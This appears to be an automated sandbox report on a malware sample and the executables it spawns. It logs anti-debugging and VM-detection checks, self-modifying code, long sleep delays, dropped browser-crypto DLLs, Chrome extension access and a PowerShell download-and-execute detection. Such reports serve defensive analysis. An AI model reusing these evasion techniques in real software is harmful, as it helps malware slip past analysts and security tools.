Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106BA93 second address: 106BAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub edi, dword ptr [ebp+122D3B4Dh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FA441297128h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov bx, 9009h 0x00000030 mov dword ptr [ebp+122D24DFh], edi 0x00000036 xchg eax, esi 0x00000037 jno 00007FA44129712Ch 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FA441297136h 0x00000045 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 106CB47 second address: 106CB5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343E0h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7FF6D1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7FF7B1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9A36D7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A28996 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Special instruction interceptor: First address: EAED71 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Special instruction interceptor: First address: 104DF18 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Special instruction interceptor: First address: 105DB11 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Special instruction interceptor: First address: 10DCA48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9ED71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E3DF18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E4DB11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ECCA48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Special instruction interceptor: First address: 83F6D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Special instruction interceptor: First address: 83F7B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Special instruction interceptor: First address: 9E36D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Special instruction interceptor: First address: A68996 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Special instruction interceptor: First address: F5A11D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Special instruction interceptor: First address: F7DAE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Special instruction interceptor: First address: F61C71 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 4B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 4B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 54A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 74A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 56B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 58C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Memory allocated: 56D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe

Code function: 22_2_04A30BED rdtsc

22_2_04A30BED

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 778
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 805
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 476
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 779
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 801
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1081
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 780

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\file.exe TID: 6404	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7096	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5160	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3792	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6876	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3708	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6184	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7156	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8980	Thread sleep count: 778 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8980	Thread sleep time: -1556778s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9048	Thread sleep count: 805 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9048	Thread sleep time: -1610805s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8968	Thread sleep count: 476 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8968	Thread sleep time: -14280000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8984	Thread sleep count: 779 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8984	Thread sleep time: -1558779s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9120	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8992	Thread sleep count: 801 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8992	Thread sleep time: -1602801s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8988	Thread sleep count: 1081 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8988	Thread sleep time: -2163081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8992	Thread sleep count: 780 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8992	Thread sleep time: -1560780s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe TID: 7304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe TID: 8876	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe TID: 6332	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAEC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CAEC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000018.00000002.2673227391.0000000000E19000.00000040.00000001.01000000.0000000E.sdmp, 80b5f835af.exe, 0000001A.00000002.2872008648.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, 80b5f835af.exe, 0000001D.00000002.3017085874.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, e8cb2646d2.exe, 0000001E.00000000.2956794559.0000000000F3A000.00000080.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 0000001E.00000002.3106354885.0000000000F3A000.00000040.00000001.01000000.00000010.sdmp, 80b5f835af.exe, 0000001F.00000002.3094238878.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, e8cb2646d2.exe, 00000020.00000002.3172597027.0000000000F3A000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 00000020.00000000.3121425821.0000000000F3A000.00000080.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 00000021.00000002.3307990312.0000000000F3A000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 00000021.00000000.3252210347.0000000000F3A000.00000080.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: file.exe, 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareS%
Source: DocumentsCBAKJEHDBG.exe, 00000016.00000003.2617734255.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.000000000120A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\r
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}c
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2625469567.00000000012F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2625469567.0000000001327000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001A.00000002.2874044959.0000000001432000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001A.00000002.2874044959.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001D.00000002.3017859957.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 80b5f835af.exe, 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 80b5f835af.exe, 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareS
Source: file.exe, 00000000.00000002.2619954244.0000000000986000.00000040.00000001.01000000.00000003.sdmp, DocumentsCBAKJEHDBG.exe, 00000016.00000002.2652443392.0000000001029000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2673002617.0000000000E19000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2673227391.0000000000E19000.00000040.00000001.01000000.0000000E.sdmp, 80b5f835af.exe, 0000001A.00000002.2872008648.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, 80b5f835af.exe, 0000001D.00000002.3017085874.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, e8cb2646d2.exe, 0000001E.00000000.2956794559.0000000000F3A000.00000080.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 0000001E.00000002.3106354885.0000000000F3A000.00000040.00000001.01000000.00000010.sdmp, 80b5f835af.exe, 0000001F.00000002.3094238878.00000000009C6000.00000040.00000001.01000000.0000000F.sdmp, e8cb2646d2.exe, 00000020.00000002.3172597027.0000000000F3A000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 80b5f835af.exe, 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaren'
Source: file.exe, 00000000.00000002.2651081416.0000000023661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe

Code function: 22_2_04A30BED rdtsc

22_2_04A30BED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB35FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CAD3480

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E7652B mov eax, dword ptr fs:[00000030h]	22_2_00E7652B
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E7A302 mov eax, dword ptr fs:[00000030h]	22_2_00E7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C6A302 mov eax, dword ptr fs:[00000030h]	23_2_00C6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C6652B mov eax, dword ptr fs:[00000030h]	23_2_00C6652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C6A302 mov eax, dword ptr fs:[00000030h]	24_2_00C6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C6652B mov eax, dword ptr fs:[00000030h]	24_2_00C6652B

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CB0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB0B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CCBAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 9148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 3004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 8412, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBAKJEHDBG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCBAKJEHDBG.exe "C:\Users\user\DocumentsCBAKJEHDBG.exe"
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe "C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
